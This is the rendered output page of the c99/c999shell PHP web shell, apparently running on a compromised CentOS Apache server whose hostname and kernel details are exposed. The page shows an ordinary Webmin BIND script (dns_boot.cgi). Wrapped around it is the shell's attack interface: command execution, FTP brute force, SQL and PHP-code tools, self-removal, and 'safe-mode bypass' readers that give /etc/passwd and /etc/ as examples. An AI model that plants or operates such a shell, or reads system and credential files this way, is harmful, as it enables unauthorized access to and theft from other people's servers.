!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/bind8/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     dns_boot.cgi (2.4 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# dns_boot.cgi
# Create an empty named.conf file and start the name server

require './bind8-lib.pl';
&error_setup($text{'boot_err'});
&ReadParse();

$config{'named_conf'} =~ /^(\S+)\/([^\/]+)$/;
$conf_directory = $1;
$pid_file = $config{'pid_file'} || "/var/run/named.pid";
&lock_file(&make_chroot($config{'named_conf'}));
&lock_file(&make_chroot("$conf_directory/db.cache"));
$conf_temp = &transname("webmin.named.conf");
open(BOOT, ">$conf_temp");
print BOOT "options {\n";
print BOOT "\tdirectory \"$conf_directory\";\n";
print BOOT "\tpid-file \"$pid_file\";\n";
print BOOT "\t};\n";
print BOOT "\n";
$chroot = &get_chroot();
if ($chroot && !-d $chroot) {
    mkdir($chroot, 0755);
    }
if (!-d &make_chroot($conf_directory)) {
    mkdir(&make_chroot($conf_directory), 0755);
    }
if ($config{'master_dir'} && !-d &make_chroot($config{'master_dir'})) {
    mkdir(&make_chroot($config{'master_dir'}), 0755);
    }
if ($config{'slave_dir'} && !-d &make_chroot($config{'slave_dir'})) {
    mkdir(&make_chroot($config{'slave_dir'}), 0777);
    }
if ($pid_file =~ /^(.*)\//) {
    $pid_dir = $1;
    if (!-d &make_chroot($pid_dir)) {
        mkdir(&make_chroot($pid_dir), 0777);
        }
    }
if (!-r &make_chroot($pid_file)) {
    &open_tempfile(PID, ">".&make_chroot($pid_file));
    &close_tempfile(PID);
    &set_ownership(&make_chroot($pid_file));
    }
if ($in{real} == 0) {
    # Create an empty root domain file... no need to do anything here
    }
elsif ($in{real} == 1) {
    # Try to download the root servers file from
    # ftp://rs.internic.net/domain/named.root
    $err = &download_root_zone("$conf_directory/db.cache");
    &error($err) if ($err);
    print BOOT "zone \".\" {\n";
    print BOOT "\ttype hint;\n";
    print BOOT "\tfile \"$conf_directory/db.cache\";\n";
    print BOOT "\t};\n";
    print BOOT "\n";
    }
elsif ($in{real} == 2) {
    # Use builtin db.cache
    &execute_command("cp ./db.cache ".&make_chroot("$conf_directory/db.cache"));
    print BOOT "zone \".\" {\n";
    print BOOT "\ttype hint;\n";
    print BOOT "\tfile \"$conf_directory/db.cache\";\n";
    print BOOT "\t};\n";
    print BOOT "\n";
    }
close(BOOT);
&copy_source_dest($conf_temp, &make_chroot($config{'named_conf'}));
unlink($conf_temp);
&unlock_file(&make_chroot("$conf_directory/db.cache"));
&unlock_file(&make_chroot($config{'named_conf'}));
&set_ownership(&make_chroot("$conf_directory/db.cache"))
    if ($in{'real'} == 2 || $in{'real'} == 1);
&set_ownership(&make_chroot($config{'named_conf'}));
&webmin_log("boot");
&redirect("start.cgi");


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0111 ]--